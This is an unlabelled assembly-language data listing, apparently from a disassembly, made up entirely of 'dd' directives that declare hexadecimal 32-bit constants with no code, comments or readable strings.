dd 0C08486BDh, 7760EFEDh, 0A8B3Dh, 0A0866A07h, 1E986956h
dd 6F0B8F1Eh, 8012F0BDh, 82F355E3h, 24813A5Fh, 2710B009h
dd 765B909h, 16394348h, 0FC5B80A4h, 80007D6Eh, 0ACA70A2Bh
dd 4197267Dh, 0FC021729h, 42C7A380h, 0C01F2B0Fh, 4B8E95BBh
dd 37D2E96Bh, 49BD81EDh, 205BCA41h, 0BF97DE63h, 8066A15Ah
dd 85C9B6A7h, 5C092534h, 0DC095F50h, 9501417Bh, 0D4E3429h
dd 88F7884Fh, 789B02B0h, 0F304057Fh, 71DF95BEh, 5FD706C0h
dd 34504F2Ch, 4B64F86Bh, 0B301318Dh, 8B6B1FD5h, 0BB66C1B0h
dd 4BA511CFh, 4811F665h, 0D14B2861h, 6F77C2B8h, 587C605Ah
dd 9109E620h, 71FCE8C8h, 816080CDh, 0F85264DFh, 954E33EEh
dd 0B8805DD5h, 0E29D89E1h, 57C79524h, 29053A11h, 6212C585h
dd 42020113h, 0D083F304h
dd 7D00B03Dh, 49C5BD02h, 3C932F39h, 0B3C4890Fh, 4512DE5Bh
dd 0CF8DCCB2h, 1DD1026Dh, 2D606AC9h, 5837B840h, 9B12BC0Eh
dd 4CBA341h, 28D98D31h, 0B192B7B8h, 97A828B1h, 0A00430AFh
dd 0E4E6C4A2h, 40D9B209h, 9D5B878Dh, 5F25102Eh, 183CAC8h
dd 4160EFB5h, 2B8B6717h, 64B64374h, 0AE0214A0h, 0C8DC4904h
dd 0BB81D84Dh, 9C7F2E61h, 9D2A0398h, 0E690B1F1h, 731EB925h
dd 0DC4DA525h, 6834E2C0h, 29CE01EEh, 7B9010C8h, 2A236E50h
dd 0CA7E80ACh, 473B0E42h, 0F467851Ah, 785F5021h, 5B4AC179h
dd 8C4C18A8h, 0D32E0DC3h, 0FD641C7h, 2FB52031h, 3C8968F1h
dd 3DFC04BFh, 1FF39054h, 0F5952904h, 27291405h, 497E569Dh
dd 0DCAF7Ch, 2F5DEBCCh, 29EC5AF7h, 0B86C2E54h, 5BDB97h
dd 1BB639CEh, 0B571C75Eh, 0A40268EAh, 8BBC9B94h, 0D30055FAh
dd 43836F5Bh, 9D119197h, 0C3DD7FF5h, 254C95ECh, 0C546212Ch
dd 8B17605Eh, 80DCB2A1h, 30609FC8h, 0DC8313D5h, 0E29C29BDh
dd 0EDDDC601h, 0F2560B58h, 0CA504080h, 0BF097184h, 0A14E3001h
dd 189E96Dh, 3DFB7A3Bh, 0E62AA526h, 0D6BB3C29h, 0F15DD192h
dd 0E08E271Eh, 98975975h, 0C2F02EB4h, 31F908D1h, 0F444CA25h
dd 4102F4B0h, 545263DEh, 6A605E8Ch, 3381081Eh, 0D3A4891Eh
dd 0DE1EC6C8h, 6FFA46D2h, 203802ECh, 5F500806h, 0D4002A66h
dd 0F7A88248h, 901894DDh, 8FB80B7Ah, 8E62614Ch, 1B026155h
dd 9516A3BBh, 0D337B902h, 0FE80B29Bh, 0D0BEA18Eh, 4085802Fh
dd 9743B18Bh, 999FEF14h, 86575064h, 0FA3D129h, 295CC3EBh
dd 571B3193h, 9DF4405Fh, 87BC3161h, 61AEDA92h, 7ADF8B1Eh
dd 209508D8h, 903A1771h, 0FD1DF9BFh, 0FCB501Ah, 622AFE87h
dd 615C2D89h, 70FADBE9h, 0B1905DE2h, 276EB114h, 199D16BEh
dd 80B3FF52h, 0A042E6D6h, 4DC514Dh, 26B1F030h, 0CD3981DBh
dd 0B2BF0001h, 3A4B2542h, 371C8D65h, 0FEF95A38h, 0A80521BCh
dd 0E9CBDD2Ch, 9531D6B4h, 13256DF1h, 98E2A070h, 27F51271h
dd 0AE5EE310h, 2BBD0249h, 167564F3h, 7B3169BDh, 9BE40086h
dd 1876FDCAh, 0E54E1273h, 8CA2E2E8h, 528A57ACh, 9DCBF2F9h
dd 208D8A98h, 0A39A7F82h, 4FB7E9F0h, 3DC6620Ah, 0F96A605Ch
dd 0F7DECF02h, 2407412Bh, 23D4DC2Ah, 0FA959D4Eh, 3325B4F8h
dd 6DA728C5h, 64734050h, 2B58CB75h, 52B12F62h, 5FB3FC83h
dd 0EE8FD402h, 0F4F70222h, 0ABCE78CDh, 0B7283E7Dh, 515DE5E1h
dd 995B2B83h, 0B181871h, 0F7CC3C09h, 5D961F1h, 2E98B701h
dd 9BAA2534h, 2AB280D5h, 55B7E72Ch, 0DE2BBABDh, 9093C0B3h
dd 13BAB064h, 0F8A58E3Ah, 8D8909EFh, 55638979h, 0DF9CAB94h
dd 0A44012D4h, 20A2FBh, 0B8AFA1C1h, 37DD80h, 78162642h
dd 0E66C73F6h, 0DE662501h, 0FC8A417Ah, 598D5C85h, 5B2DAE27h
dd 7C6A2Eh, 0BEDD3168h, 167CBF74h, 0BB153A0Bh, 30884F62h
dd 7195A248h, 0B8FC44FDh, 0C781015Fh, 4728FD0Ah, 41631E2Eh
dd 3EE618DFh, 0F135604Bh, 302B2141h, 0D595314Eh, 489C124Bh
dd 0F59D2F2Bh, 336914E4h, 0FC55A540h, 23CD6BABh, 0F0F3001Ah
dd 5CE57ABAh, 0B6B75A4Ah, 9BAC4B4Dh, 0A9D0DD01h, 467D8C7Bh
dd 0B100FD03h, 5BB6096h, 3E728417h, 0E797BA66h, 0E8630461h
dd 42444013h, 16DBD4E5h, 0FC8C7DA2h, 5950E0E6h, 0A2604F5Fh
dd 28971ED5h, 61453107h, 88AC9615h, 0FAEE2125h, 0B138B895h
dd 1591871Bh, 0A951BF01h, 6B965FE0h, 61EC0716h, 425ADE1Eh
dd 15F19509h, 526034B0h, 9C9E61E4h, 5B65C91Dh, 181459CAh
dd 0A9A8A0FFh, 9537AC13h, 4E3E6CD3h, 9A6AC8F5h, 0C019C892h
dd 49EA5320h, 0CAA9B030h, 955B52D8h, 1345DD94h, 56FB9102h
dd 0CB0469D4h, 0A8CCAA51h, 0C39E95F5h, 9823595h, 5159836Dh
dd 4C715100h, 18FDDC8h, 0B1F8BD0h, 6A9D635Fh, 5B86ABCAh
dd 0F975E253h, 0F476E90Bh, 7822FBFFh, 0DA0496EAh, 0C18BBB74h
dd 0E2C74CDBh, 23DED09Ah, 281299B5h, 32E3D462h, 95DAB540h
dd 17590773h, 6F01B518h, 9D0989F4h, 0B77B2D7Dh, 105A4834h
dd 0E84F1349h, 0F8DEC0C7h, 446C620h, 3C40226Dh, 0D1C88C50h
dd 4BDBB05h, 9BEA9020h, 0C1BD9747h, 1FD93B80h, 7124BD29h
dd 0C96AA22Bh, 4E495AA7h, 8526EC95h, 21ABCD9Dh, 58062C1h
dd 32D18F06h, 4A5DFA25h, 92F5AD2Fh, 0D0A009A6h, 0B32776C6h
dd 5F438945h, 0BF9ECCACh, 5B744413h, 71E93CC7h, 0E7E9003Eh
dd 6016DEAAh, 98F61F00h, 0C151F825h, 774A09D3h, 90556EBEh
dd 7EA45E42h, 285B1C09h, 52204444h, 7909FB23h, 708A5B90h
dd 1171038h, 59C2D58Dh, 60EFFC6Ah, 3A48DCC9h, 0F4A03400h
dd 948A9118h, 534000DFh, 22E85F0Ah, 6A4A866Dh, 0A7C064DBh
dd 3C607D6Eh, 8E80F309h, 1BB1D5D3h, 0F56F1011h, 0D0090035h
dd 8C6D2025h, 5DF0780Fh, 0C5259BF8h, 9D10CE87h, 0CD447DEDh
dd 1F25C9B8h, 0B59F0FC6h, 0DD5C2550h, 0F9C1FF42h, 0ECA9001Ah
dd 6A3ADEA6h, 695B51BFh, 4C441259h, 4B16FF52h, 2ACF2DFEh
dd 5DFC80C2h, 0BD5CF3C2h, 0EE5525F6h, 0D116373h, 920CAC00h
dd 0FA59CEDEh, 7711F100h, 0E99983CFh, 64C79512h, 55806C0Bh
dd 9C3930BDh, 2209E068h, 70407B55h, 1F047020h, 18AE4386h
dd 0B6D3D9ACh, 946DE060h, 122900A8h, 0DD428C2Ah, 6094ABBh
dd 0D5507E13h, 0F8E2C999h, 8003BED1h, 867A65A3h, 0A7619F30h
dd 566EF12Fh, 80D49B9Fh, 280C2241h, 3F1F129Fh, 0C4D3B963h
dd 5649088Ah, 29616D82h, 9BAB5F04h, 0C01788B8h, 145C9FEFh
dd 5D1E1A97h, 73A1E590h, 0E6758101h, 11F2349Ch, 0AA8CC8h
dd 0FD2CC835h, 0FF6AF9F8h, 29BC19A8h, 0C0519E73h, 0D083CDD1h
dd 0AF02B4B6h, 4BB1CF15h, 0C170C246h, 0F6290573h, 18D19D09h
dd 0F951AB5Ch, 0AD87252Bh, 48B038FEh, 0E457C7C0h, 36562B0h
dd 216B137Eh, 0C531FA67h, 0A37670E6h, 0F982B05Ah, 0E45B5909h
dd 0FEE58271h, 91025CDEh, 62F925C0h, 0F974FDh, 0F275F781h
dd 7395594Eh, 0EF80047Ch, 8B27AEADh, 29E0D672h, 0DE72F750h
dd 0FBBFD101h, 0E9434029h, 2F7BB32Bh, 1D916058h, 4599D2Ah
dd 3915AFACh, 24B15B8Ah, 0AB62FFEh, 38171F96h, 20E8D24Ah
dd 25F8B42Ch, 0E3DB5AE9h, 2F1381BCh, 0AC9B96CDh, 0D8CBB440h
dd 0F60A05F8h, 17881DDDh, 7134AACEh, 1F89BD05h, 2E1D0604h
dd 2788F5ADh, 85C7D3ADh, 9A583DFh, 0A2E6FE24h, 79A295ECh
dd 4A9D040h, 806C5B5h, 374BF73Ch, 913980B6h, 47C250B9h
dd 0B5A0FB09h, 27A65818h, 0FB545A71h, 2453B5EBh, 0A2B90565h
dd 22A9E907h, 0E9B32502h, 6DD507C2h, 2A2CC1BEh, 39B36A86h
dd 194A1503h, 0C2024865h, 5B2F36C3h, 0DC9C56FCh, 122C7AB5h
dd 4E6D9D33h, 0FD16B82Eh, 7C2EC8Dh, 33DC1A8Ch, 2B899175h
dd 0DEE62AD2h, 0FCF771F0h, 235298BDh, 30E525BDh, 666BB173h
dd 0F52CA213h, 0B1572429h, 0F1098F2Dh, 0AC30448Ch, 0D9608B45h
dd 270600F3h, 3E2FEEEBh, 0B29E0700h, 4E4084BBh, 0D23148B4h
dd 5E621220h, 0FD0C3570h, 18DD3090h, 1AD38B7h, 70F19F9Dh
dd 9582782Dh, 17E47C6Dh, 0CA09CF60h, 0B8AC935Fh, 0D617FED3h
dd 1B98B21h, 62762F2Eh, 7F333DD0h, 754B016Fh, 975664B2h
dd 9145A51h, 0D8C20196h, 0B50EBFD5h, 3316FEBEh, 1D20EADh
dd 0FF8296B7h, 0B92629E1h, 12BD1630h, 0B979992Fh, 0C4BFA456h
dd 0A2A6AC31h, 89B51A94h, 0B3012B82h, 3DE6665Eh, 0A4803AD9h
dd 9D641B84h, 85007A5Ah
dd 0BCB0F6E7h, 9BBAE92h, 47D0DC20h, 1746B071h, 0BE6D9D8Fh
dd 0C82B32C3h, 13D24058h, 4C48F71h, 0B2EE1EFh, 0BBB05760h
dd 334B81BBh, 0C6B6B185h, 0F6FE36E0h, 1F11A916h, 0C00E4E2h
dd 7F3D16A5h, 3F046596h, 5BFCF1E9h, 0EE56E3B8h, 0E8CDD74Ah
dd 0D48B5C6Bh, 0F99E9412h, 0DA4BCDE7h, 0ABAF808Fh, 2588BE09h
dd 6EC49174h, 1453F02h, 5C9BCB05h, 1FE6BBFh, 0F20D00DCh
dd 0EC3974D0h, 8C90F616h, 972A5920h, 4D91960h, 6F065695h
dd 9328407Fh, 5C26A84Bh, 0D7C1ED03h, 9020C4BBh, 59615E14h
dd 5F3AEF50h, 427E51A5h, 0A155AEBh, 13859D09h, 2F291E60h
dd 68016D7Ah, 615945E0h, 0CC2A6051h, 0BE1F665Fh, 5F52EE7Bh
dd 1F8607AEh, 0B02F1846h, 871AD5ECh, 405B4D2Fh, 7AE3388Ah
dd 0C60F9425h, 0E84297h, 565F9860h, 1C9BD1Eh, 9BD78A12h
dd 307475FFh, 44A09B1h, 0DB010FB7h, 9C3D35C1h, 4878ECD5h
dd 120F4600h, 0DF814C40h, 0DFB015Eh, 0C7E95F58h, 0D9607A01h
dd 3171F47h, 0D586D9E0h, 0DE88F1DAh, 1544858Bh, 7332ED09h
dd 0DA253948h, 0E06FA9C2h, 69E1F8C1h, 28ECA8C8h, 20DA7497h
dd 0F94B0F3Dh, 9560AB8Ch, 8722E5F2h, 0E0FC5A01h, 65EE143h
dd 54E8A0EDh, 0D0E92C00h, 42497C45h, 0B5F7A1F8h, 0EF895599h
dd 1C326FBh, 800AD781h, 172E4C87h, 6F935C0h, 4105B17Ch
dd 43A9855Ah, 0DE8A9600h, 6FF3BB50h, 9203223Ch, 9BE1F98Bh
dd 0A9A49C7Fh, 85BABD00h, 0B61F2027h, 0C29501F1h, 4AFBE19Ah
dd 89292EFCh, 741011E5h, 2A009AC5h, 0B65E68C4h, 1880AA2h
dd 15870D80h, 7850F377h, 3C84512Bh, 677F80C5h, 0B5DA42A3h
dd 67738EAh, 4305036h, 0A3770BBFh, 2B9F891Bh, 8E43B85Fh
dd 0CF73A7C6h, 0D5C9E10Eh, 0A67A2DD4h, 95A65FDDh, 0A033B9A0h
dd 7DCE1297h, 0F783DD37h, 0D83C3B21h, 505FB17Bh, 41DDF2C9h
dd 93376E0Dh, 0B147D8C7h, 2F7FB4Eh, 4585BFECh, 627D08B4h
dd 0DCC9D472h, 0CDE04B09h, 0CE6E5C31h, 42322DC4h, 0D03DBD29h
dd 716F95A2h, 87611D64h, 354ECCA7h, 80261404h, 168C157Bh
dd 84322E1Fh, 0DE700031h, 4ECDD7DCh, 0C45ADF02h, 84CE7398h
dd 7D92B196h, 51135C5Fh, 0E0A0772Ah, 4EF78064h, 943BB803h
dd 12E338AFh, 0F8E37409h, 76DA4BBAh, 9F80BD8Fh, 5C23F73Eh
dd 9B4079BCh, 0E0E43A6h, 0B9BD03DEh, 0C71F476h, 0E28AC64Bh
dd 4A045610h, 3104F8B3h, 0AF0BA19Dh, 952F5E39h, 0ACC9F942h
dd 533C8C18h, 62018084h, 712F6BFh, 3BE49D24h, 0B0F55000h
dd 3B38F2A5h, 2702B85Bh, 355C0325h, 5D20E9EAh, 0B5F87907h
dd 0C4EB97E0h, 9F40022h, 0D245C6F1h, 0DC3F3984h, 0B4948E18h
dd 0F844C025h, 5A35F156h, 4F3EB35Bh, 34F0F2B6h, 98076D74h
dd 0D1A80CA2h, 5CEEB29Bh, 8B826935h, 960512F9h, 6D8E24B8h
dd 6788F723h, 3FE7A8F1h, 1A34330h, 2AAA00FBh, 0C0341AF4h
dd 130228E0h, 0B1244735h, 9BB75D32h, 0A1CD2C8Eh, 0E0281797h
dd 51809268h, 84AFBDBCh, 0B700C47Ah, 18A385FEh, 1246A0D6h
dd 0E630D117h, 321DB202h, 0DE3B480h, 0C5090EB8h, 827BDD9Ch
dd 42AAD1Eh, 87EBE853h, 0D0C0ED90h, 4B120319h, 415ECD5Fh
dd 3F20DD7Bh, 1E00F9A6h, 7222373Dh, 4D7E3630h, 0F601D32Bh
dd 6427CD25h, 3C75601Dh, 0B6BB8B6h, 0D129D9CDh, 28A0003h
dd 9E80274Fh, 3C051BE7h, 0F925096Dh, 46D6775Ch, 0B2C04E19h
dd 9DD6D36Dh, 9D7653CCh, 132E0141h, 0E01DF60Ah, 29638A7h
dd 163B9318h, 285ED37Bh, 0CEB2CD27h, 97508E09h, 8BE6F94Ah
dd 0F2DFB712h, 16AF00C5h, 0C39EE607h, 44D80337h, 22DA0CF4h
dd 0FA2841B8h, 0D8D15A27h, 88D2046h, 5ACC5B4Bh, 4219F809h
dd 13814822h, 30306EC8h, 9F20A8Ch, 0A7F4DD17h, 5F133AFCh
dd 23976BAEh, 9330118h, 2BB02BB6h, 39B06034h, 0CECEBF01h
dd 0ED852913h, 861A8BEDh, 0E0753101h, 2E6B6366h, 4BA27779h
dd 12923E02h, 1013BDE9h, 86F9A4h, 399396F5h, 9065B101h
dd 0C342600h, 0E8080B9Ah, 43FB835h, 5953196h, 998ED04h
dd 79F22EE7h, 0D90154E2h, 2BF620C8h, 0DD20B070h, 0E666D225h
dd 0E99C4A76h, 2B244125h, 970570B0h, 656B829Ch, 0C377D30h
dd 7594EAADh, 0AFA51908h, 0E46D2D90h, 0F72E6900h, 97B38893h
dd 9E661265h, 0E8549443h, 78DB5FDDh, 0BABE1285h, 15F0A758h
dd 9BB8970Dh, 85323156h, 5E5FFF61h, 69D869D1h, 9E80727h
dd 89227B63h, 1D160B8Dh, 333136A0h, 118AC7B5h, 0E5204B4Dh
dd 0FCF21241h, 0AD324A0Eh, 95848EEAh, 22BD8017h, 2D3A53F0h
dd 896FC68Dh, 578C1540h, 1386126Fh, 8589BADBh, 95CC2D2Eh
dd 79F3920h, 0FFF319E9h, 0D37C981Bh, 0DFE4056Bh, 0AEC18B10h
dd 0EF95271h, 93C8B22Ah, 8B506607h, 0C103E239h, 2735957Ch
dd 0A0A2B72Eh, 26623393h, 64FD830Fh, 7942C8DEh, 45864F61h
dd 6F3A0F90h, 3E510088h, 3329DB31h, 8BBB1966h, 2FDAD00Fh
dd 1AA62116h, 6E7CF4E0h, 2A0A9BFEh, 8C50FC7Bh, 8B6335A4h
dd 0D1F0D74Dh, 70D736Dh, 3F244548h, 0B19E301Eh, 354EC364h
dd 0FBE8D3ADh, 7296B201h, 8F4FD11Ch, 322EC2DDh, 64772B3Ch
dd 4A22986Ch, 0CB25DB6Ah, 601D84DCh, 0F8CBF6B8h, 0AD02B555h
dd 0EA4523B0h, 84742B39h, 8B0FA8C4h, 40E978D8h, 0D15BFF0Eh
dd 0F516D5A7h, 0E257B803h, 615E1A6Dh, 35C500D4h, 0C85101D9h
dd 0EF134B28h, 89C2F51Bh, 8F0A606Ah, 0C448411h, 41A200F7h
dd 559E36Dh, 2E090ED3h, 449069CEh, 6827000Dh, 0FAC6FCCBh
dd 1A00F848h, 0D4A2D0B0h, 2D69CC6Eh, 0AFC8D8E6h, 66E78A90h
dd 10893B7Dh, 0E91204A5h, 85E3E3A4h, 9EAB904Fh, 29618197h
dd 0BB549DB5h, 30207CF8h, 2EDB97A1h, 6AFACB74h, 62A732AAh
dd 0C2502465h, 0F22E173Dh, 0A809FECh, 0B04A92E0h, 0E1A048h
dd 74D74DC1h, 4B41BDE6h, 0DBCB945Bh, 0CB22C3BFh, 4FEAF02Eh
dd 6A35818Eh, 6BD20BB3h, 2FFE3C69h, 62F97640h, 0E85C9CB3h
dd 326E02C9h, 0A23AD724h, 0EF4039EDh, 67A6978h, 0E2E81FB2h
dd 54A7A23h, 6F490FE2h, 5101F0BCh, 0FD232689h, 0DC455015h
dd 0FC910725h, 0BB621AA9h, 0D416F30Bh, 0B80E4CA4h, 120A1F6h
dd 7E38000h, 2045AB5h, 0CF48D381h, 0D85C5EFEh, 4610F088h
dd 23583705h, 8213204Ah, 0A56AFCD7h, 0FD31E361h, 0BA55E68Dh
dd 0B14C57E0h, 41212532h, 611FFCC1h, 0A54DBD09h, 60F561B5h
dd 0ECCA126Bh, 0D66189D1h, 80CBBD4Ch, 7D8D29FFh, 52259C96h
dd 846970FCh, 0DB99BB17h, 18E94C04h, 7F24DDBBh, 0B90068E2h
dd 0F60676B3h, 27CE281h, 0B5DF6AC2h, 392EE120h, 0B231B796h
dd 23874B42h, 26C58D91h, 0BF000947h, 97603F3Dh, 89271A94h
dd 2DB57AB5h, 0CD735AE9h, 14C3F580h, 0FEE5F044h, 0EF713532h
dd 7FDCF534h, 80289DF2h, 111197DAh, 10BB1033h, 22F03FB6h
dd 5F17A528h, 1BE920FEh, 720E76F7h, 407D653Ch, 9D23E094h
dd 0B8024EA1h, 40799027h, 0C512A4B8h, 1DF64F18h, 0BDEFDB28h
dd 0FE4BF6ABh, 9AD4A5E2h, 783853A5h, 0A506573h, 42096ADFh
dd 79F9779Ch, 0BD898524h, 0B9CFA0B5h, 7308E625h, 593601A6h
dd 0E45A8252h, 1F0729EFh, 0EE012DBBh, 9F1878B9h, 2395637h
dd 6DDC5C67h, 0DC10DEFCh, 0A4824796h, 60E9E8ACh, 282BD9E8h
dd 4AA289C0h, 0D605B829h, 0BCA095E6h, 0D262C78h, 350914FBh
dd 69E5730Fh, 101726F6h, 73E819B9h, 7A9F9D0Bh, 200C9451h
dd 5B4B3319h, 9DF5FA88h
dd 385ADF5Bh, 18DFD1C2h, 66594367h, 47990929h, 0C4E912h
dd 0C813DAAAh, 0BD66C01Ah, 0D97887C1h, 8589AB04h, 0EAB81B91h
dd 7F8D2ABDh, 1782E7D4h, 0B63D4AF5h, 6613E117h, 0B1E9EA93h
dd 0F1282BCDh, 82D58A7Ah, 2C2F555Dh, 2A4B590Eh, 581F998h
dd 0A9CA6BDBh, 422AAE4Eh, 8089B68Eh, 96079FCh, 0B616ADB5h
dd 74B682E0h, 353E1FFh, 93C670h, 0BFD99B29h, 31ED8C8Bh
dd 8D256D90h, 0C4BA7106h, 0BB664178h, 282FD85Ah, 11A88212h
dd 14979599h, 603B44DCh, 0C1566D9Fh, 43FD60C4h, 0BFECB9C0h
dd 9EEC7161h, 0E7115A20h, 0AAB16430h, 8A515DECh, 5B4352Fh
dd 0AA4F102Dh, 8D8910D1h, 0ADCE946Bh, 0BD6122CBh, 0E216C84h
dd 55312960h, 61F94848h, 0B8982AE3h, 0EF71281h, 2496E368h
dd 18104201h, 0C890F513h, 0E600C44Ch, 0EB80364Dh, 0B4725C1h
dd 0AF2B2354h, 0AEC81FDDh, 8130C589h, 6807854Ah, 0CD43C48Dh
dd 0FFA50AACh, 0C924F384h, 0F18017ACh, 1458D0E6h, 0E4E2DB00h
dd 1716CF4h, 0B7E012B9h, 7D991A0Ah, 0C2001D59h, 456E7F85h
dd 677FCAh, 3062EC25h, 8F4756C6h, 2C013A0Eh, 30C8128Bh
dd 0FF7700C1h, 0CCF8AA31h, 0D11F9653h, 11011FA1h, 4781D567h
dd 9C48AB22h, 9028C11h, 745F6160h, 39A53881h, 0D39DBCCEh
dd 5B75044h, 0D23AE148h, 0DE3EBEB1h, 4BB6C075h, 2E2AEADh
dd 0EF5D2B79h, 0C4F5093Dh, 449B4B2h, 0AB01CEE9h, 0AD9377DEh
dd 5EB9294h, 0AA0BC9A3h, 437D4BDDh, 0DC005FB8h, 0F333B286h
dd 1211BBC9h, 0E33D1827h, 0CAFC25EFh, 994FD7C6h, 33F9C640h
dd 284930BDh, 7E59DBBh, 92B66AEDh, 0ACB2B737h, 5699292Ch
dd 119D951Dh, 879D4EBEh, 12C4450Fh, 0B920BA3Ah, 95F6B2h
dd 0CFBC3BA1h, 0C14A6DFEh, 0ECB11605h, 0E804A84Eh, 5B090195h
dd 970E9844h, 56837EEBh, 2E1329EBh, 60510A05h, 5A568981h
dd 0EE966620h, 1DA79CFBh, 0D781C0F8h, 5E036FFCh, 662F1BB3h
dd 0E099776h, 0F69AF4h, 5F1D4AB1h, 0ECA7CA85h, 0B078E460h
dd 402B8DAh, 4ACB7F68h, 0A3F48CE7h, 0CAD25B00h, 75A6B58Eh
dd 64CD00E5h, 270E6A1Fh, 3A256563h, 422D0AFh, 18D43880h
dd 0D0D3B8F9h, 0C00D3FEEh, 374F9890h, 57FAA488h, 0B7F7992Ah
dd 800E8A4Bh, 0C99D0BAAh, 0D86170A4h, 8D12090Ch, 60EA3169h
dd 51BCC52Dh, 0E8803D00h, 68D90A7Dh, 1A5721Dh, 0DF8A140h
dd 3A617C6Fh, 2F00206Eh, 0CF6F56BEh, 2B2716EBh, 48F42D0h
dd 79AE6DE3h, 0BA6A3ED7h, 0CA901905h, 18A504C4h, 0A3EEAC8Ah
dd 0DEAE8463h, 8BB282DCh, 0C359FAh, 1688801Dh, 0E00FC55Ah
dd 0EB688E87h, 0F6317E4Ch, 440DB527h, 9FD89D74h, 63C9AC00h
dd 0BB864767h, 0C3B80908h, 796B29h, 77DE25DDh, 0FFEA00D4h
dd 66C989CAh, 1786880Fh, 0F90D198Dh, 65E852h, 0C5E47935h
dd 1DCF310Ah, 0E8F38102h, 5E69BA93h, 52D45321h, 0A356EAAh
dd 0B710EFBAh, 0A8132D01h, 8B2ECA3Eh, 0D3042F18h, 583ED0D8h
dd 9D33C204h, 0F6952315h, 0BC57AA16h, 1CC87EDAh, 0A50359C7h
dd 60EDB002h, 0B309164Ch, 0ACADB94Ah, 1C388C1Ah, 9208BEE7h
dd 4DF1C750h, 0B083E73Fh, 12896F49h, 0BC1F719Dh, 7E9B57Bh
dd 161F09A8h, 0E4C02029h, 9589D48Dh, 0DCACAA7Dh, 81F04006h
dd 3B2F7554h, 0B7E97857h, 19240B79h, 0F1310F09h, 72F3AD82h
dd 73C189AFh, 0D13F702Ch, 0FB3CA800h, 391C5A47h, 0EC314B84h
dd 6CC897A1h, 668802F0h, 0F8A81C9Bh, 91B4B5D7h, 383D801Dh
dd 5A6C07ECh, 603EB57Ah, 144EC508h, 89C2F4B9h, 164AC18Dh
dd 91CEB5D5h, 4D608018h, 98645880h, 0AD1F25F5h, 0D07E6FEAh
dd 0BF9700F4h, 0FC872E79h, 0A7902062h, 0E8312920h, 8D52595h
dd 1479857Bh, 32B88018h, 8E286A3Eh, 0EBBB6638h, 86B57549h
dd 88E24FA6h, 0BC7E189h, 2EDD892Fh, 7DA98D13h, 9D2FB2B8h
dd 1FEE6448h, 82BAE428h, 0A3A4A869h, 0D0F1DFC0h, 92C93D16h
dd 915127BDh, 3ADBF53Bh, 1CB200E6h, 8A5EC032h, 136BB8BEh
dd 0AEFB5EE7h, 0BD03FB70h, 0E2084AC9h, 498488D6h, 21D4045Fh
dd 8AC44EBDh, 0DED48CF9h, 0DF0A2483h, 4474E9CBh, 6B20DD6h
dd 2E4E340Ah, 1080BA2Ah, 0F3795A92h, 0E2251890h, 0B13BE678h
dd 0E8F980E7h, 0CAD46E0Ch, 974BF000h, 0C3368ECDh, 0B1FF58CFh
dd 0F2F96512h, 0A0328841h, 0DA24FDB4h, 0E3529D96h, 0B7ECC4DDh
dd 54D01CDEh, 0E760540Ah, 87FAA415h, 22E71D97h, 0B30C1097h
dd 5E14A687h, 253BFCD9h, 8FB97B32h, 0F212EB80h, 887A8804h
dd 6F8010E8h, 420937FAh, 0CB6B0038h, 678D4911h, 0AD2FF841h
dd 0CC78DB6Dh, 2941C5ACh, 652F5FE9h, 0EF30FA25h, 0BD1A99B5h
dd 550030CCh, 241D61C6h, 255EDC97h, 2FE2D5C2h, 0ED70D85Bh
dd 0D44A001Eh, 43BFE176h, 9E48D780h, 0CE783D0Fh, 0D8F320B8h
dd 1365C671h, 12AEC59Fh, 9116F9Dh, 59F63B33h, 0C473A5FCh
dd 996DD0h, 0F5589730h, 5D86E28h, 0A8D574Ah, 16816888h
dd 0C9BD5B12h, 80B1DAD6h, 0EDC9EEBDh, 0A98F018Ch, 0C0E38088h
dd 0F7944260h, 0D909A062h, 0F6BE1272h, 0EFAE1CDCh, 197B4184h
dd 6E9FA494h, 0DB2E7EC9h, 0FB7F80EAh, 8808E8B8h, 5C01CF0Ah
dd 5D6A7A4h, 0CE081DAh, 3EC01344h, 6A674B5Bh, 21003B46h
dd 0AF6EC901h, 0E520E6Fh, 25BE1C91h, 7CCBE8C0h, 0AFA0C497h
dd 0DBBEA11Ah, 2E319D04h, 2E07FAFh, 5E89394Bh, 0E6F15765h
dd 51AFBD93h, 1DA8B6CBh, 0AB97008Ch, 2DA4B251h, 0E705872Fh
dd 79BD2968h, 0EB907CE8h, 384FD825h, 74218640h, 0B4739D58h
dd 4AED4DADh, 0BDDE9231h, 8C15ACAAh, 0B0A8B92Eh, 0FFDBE82Fh
dd 0E4014CD1h, 0B8E72125h, 60018A11h, 0C1536EBEh, 1483F028h
dd 0B6E085B6h, 3846ABh, 4E5D582Fh, 577D4FAFh, 5EFF1609h
dd 0B07861h, 8A90F8BFh, 59BB50DAh, 72ACA31Eh, 6D58686Bh
dd 24605CDDh, 9819C112h, 0F002BE62h, 3408579Fh, 2ED7561h
dd 0B1601C64h, 8A00DFFEh, 0B23FE872h, 0B517E992h, 240892C7h
dd 0A96012A1h, 4087885Ah, 0ECC78161h, 4320F516h, 9D8662B9h
dd 905BABADh, 602FA3B9h, 42E5861h, 11570C1h, 6C5E6102h
dd 0F0015325h, 4607EB5Fh, 6E100678h, 2EFC7099h, 0B89A86Fh
dd 94571AADh, 0EABC8314h, 0B0CE7529h, 81526000h, 8E42F7CEh
dd 14584F7Bh, 0FF2F02E5h, 7870CDD3h, 0F0464A20h, 9588013Eh
dd 0C8224211h, 16AFA6EDh, 0B08DC2D5h, 0A6608A5Ch, 7AF72625h
dd 0CBFEA1Bh, 70E690E7h, 234139ECh, 41513720h, 65A47A18h
dd 0B06021F7h, 4B34B914h, 0A77A1089h, 2A333F5Bh, 79989289h
dd 0A1EB8102h, 577ECCE2h, 67BF3EA1h, 3E192FCBh, 83803D4Ch
dd 6051C82Bh, 784887B9h, 26612E97h, 0E9F5D105h, 35BD3142h
dd 91852227h, 0B584685Ch, 2BBC059Dh, 88EF8180h, 4B44CE76h
dd 4D59BD8Ah, 600FAD29h, 0BBA32080h, 0BE622F0h, 43E96177h
dd 146DAD19h, 46FE2AFh, 39850960h, 0E7812CD0h, 9F5409F4h
dd 28796178h, 0FC5A2011h, 0A5D4DF05h, 70FE2D23h, 57628028h
dd 66C60BBBh, 38576133h, 600B1532h, 0BFD76C0Fh, 0A5AB0FEh
dd 46C314E0h, 9D2B09A6h, 0B910A165h, 0F503071Fh, 72FC983Ah
dd 5BEFEEA0h, 97DD9F4Fh, 0C0C691FEh, 7506E3Fh, 848F31CAh
dd 0BD239CD0h, 3F2EF1D5h, 1923C8h, 0AD5F7540h, 0BB043E7Ah
dd 3B882969h, 328D1D81h, 0D764E72Ah, 7A809C9Ah, 0D407E453h
dd 6281BD48h, 0E13596Ah, 163A13F2h, 82C9ADFAh, 0FD812D4Eh
